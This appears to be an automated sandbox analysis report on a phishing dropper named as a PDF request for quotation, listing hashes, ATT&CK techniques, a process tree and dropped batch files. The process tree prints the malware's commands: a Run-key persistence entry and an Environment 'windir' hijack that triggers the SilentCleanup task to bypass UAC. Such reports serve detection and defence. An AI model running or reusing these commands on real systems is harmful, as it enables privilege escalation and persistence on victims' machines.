0d903cb51d86a47ea9baa01286e9a7d0c325f6412bc0e5cd48a4ba95c84e6d49

General

Target

heimatec RFQ 4556_ DRINGEND,pdf.exe
Size

832KB
MD5

0fc8ba2820bc82c3f1dbebdbc31b13a9
SHA1

810bdb6a806ee7ed18b49b5a0eab41114a943009
SHA256

0d903cb51d86a47ea9baa01286e9a7d0c325f6412bc0e5cd48a4ba95c84e6d49
SHA512

0b8591fca00cadef03b8329fab6bb5082d502f58d229b4780cc1c3f23c2af596e29ac4a3f432e17915d37eb61416f6ec7e3ddc1ec0ffd3a76e3c1f0a6fa7b17a

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

heimatec RFQ 4556_ DRINGEND,pdf.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\Cqucrfd = "C:\\Users\\Public\\Libraries\\dfrcuqC.url"	heimatec RFQ 4556_ DRINGEND,pdf.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1612 588 WerFault.exe mshta.exe
Modifies registry key 1 TTPs 3 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exe

pid process

2044 reg.exe
1984 reg.exe
1724 reg.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

WerFault.exe

pid process

1612 WerFault.exe
1612 WerFault.exe
1612 WerFault.exe
1612 WerFault.exe
1612 WerFault.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WerFault.exe

pid process

1612 WerFault.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 1612 WerFault.exe

pid	pid_target	process	target process
1612	588	WerFault.exe	mshta.exe

pid	process
2044	reg.exe
1984	reg.exe
1724	reg.exe

pid	process
1612	WerFault.exe
1612	WerFault.exe
1612	WerFault.exe
1612	WerFault.exe
1612	WerFault.exe

pid	process
1612	WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1612	WerFault.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

heimatec RFQ 4556_ DRINGEND,pdf.exemshta.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 588	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	mshta.exe
PID 1076 wrote to memory of 336	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	cmd.exe
PID 1076 wrote to memory of 336	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	cmd.exe
PID 1076 wrote to memory of 336	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	cmd.exe
PID 1076 wrote to memory of 336	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	cmd.exe
PID 588 wrote to memory of 1612	588	mshta.exe	WerFault.exe
PID 588 wrote to memory of 1612	588	mshta.exe	WerFault.exe
PID 588 wrote to memory of 1612	588	mshta.exe	WerFault.exe
PID 588 wrote to memory of 1612	588	mshta.exe	WerFault.exe
PID 336 wrote to memory of 692	336	cmd.exe	cmd.exe
PID 336 wrote to memory of 692	336	cmd.exe	cmd.exe
PID 336 wrote to memory of 692	336	cmd.exe	cmd.exe
PID 336 wrote to memory of 692	336	cmd.exe	cmd.exe
PID 692 wrote to memory of 2044	692	cmd.exe	reg.exe
PID 692 wrote to memory of 2044	692	cmd.exe	reg.exe
PID 692 wrote to memory of 2044	692	cmd.exe	reg.exe
PID 692 wrote to memory of 2044	692	cmd.exe	reg.exe
PID 692 wrote to memory of 1984	692	cmd.exe	reg.exe
PID 692 wrote to memory of 1984	692	cmd.exe	reg.exe
PID 692 wrote to memory of 1984	692	cmd.exe	reg.exe
PID 692 wrote to memory of 1984	692	cmd.exe	reg.exe
PID 692 wrote to memory of 804	692	cmd.exe	schtasks.exe
PID 692 wrote to memory of 804	692	cmd.exe	schtasks.exe
PID 692 wrote to memory of 804	692	cmd.exe	schtasks.exe
PID 692 wrote to memory of 804	692	cmd.exe	schtasks.exe
PID 1076 wrote to memory of 1492	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	cmd.exe
PID 1076 wrote to memory of 1492	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	cmd.exe
PID 1076 wrote to memory of 1492	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	cmd.exe
PID 1076 wrote to memory of 1492	1076	heimatec RFQ 4556_ DRINGEND,pdf.exe	cmd.exe
PID 1492 wrote to memory of 1724	1492	cmd.exe	reg.exe
PID 1492 wrote to memory of 1724	1492	cmd.exe	reg.exe
PID 1492 wrote to memory of 1724	1492	cmd.exe	reg.exe
PID 1492 wrote to memory of 1724	1492	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\heimatec RFQ 4556_ DRINGEND,pdf.exe
"C:\Users\Admin\AppData\Local\Temp\heimatec RFQ 4556_ DRINGEND,pdf.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1076

C:\Windows\SysWOW64\mshta.exe
C:\Windows\System32\mshta.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 588 -s 136
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1612

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Public\Trast.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:336

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
3⤵
- Suspicious use of WriteProcessMemory
PID:692

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
4⤵
- Modifies registry key
PID:2044

C:\Windows\SysWOW64\reg.exe
reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
4⤵
- Modifies registry key
PID:1984

C:\Windows\SysWOW64\schtasks.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
4⤵
PID:804

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Public\nest.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
3⤵
- Modifies registry key
PID:1724

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Trast.bat
MD5
4068c9f69fcd8a171c67f81d4a952a54

SHA1
4d2536a8c28cdcc17465e20d6693fb9e8e713b36

SHA256
24222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810

SHA512
a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d

Download Submit
C:\Users\Public\UKO.bat
MD5
eaf8d967454c3bbddbf2e05a421411f8

SHA1
6170880409b24de75c2dc3d56a506fbff7f6622c

SHA256
f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56

SHA512
fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9

Download Submit
C:\Users\Public\nest.bat
MD5
8ada51400b7915de2124baaf75e3414c

SHA1
1a7b9db12184ab7fd7fce1c383f9670a00adb081

SHA256
45aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7

SHA512
9afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68

Download Submit
memory/336-55-0x0000000000000000-mapping.dmp

Download
memory/588-65-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/588-54-0x0000000000000000-mapping.dmp

Download
memory/588-66-0x0000000000320000-0x0000000000321000-memory.dmp

Filesize
4KB

Download
memory/588-67-0x0000000010590000-0x000000001060C000-memory.dmp

Filesize
496KB

Download
memory/692-59-0x0000000000000000-mapping.dmp

Download
memory/804-63-0x0000000000000000-mapping.dmp

Download
memory/1076-52-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/1076-53-0x00000000753B1000-0x00000000753B3000-memory.dmp

Filesize
8KB

Download
memory/1492-69-0x0000000000000000-mapping.dmp

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memory/1612-57-0x0000000000000000-mapping.dmp

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memory/1612-68-0x0000000000290000-0x00000000002F0000-memory.dmp

Filesize
384KB

Download
memory/1724-71-0x0000000000000000-mapping.dmp

Download
memory/1984-62-0x0000000000000000-mapping.dmp

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memory/2044-61-0x0000000000000000-mapping.dmp

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Analysis

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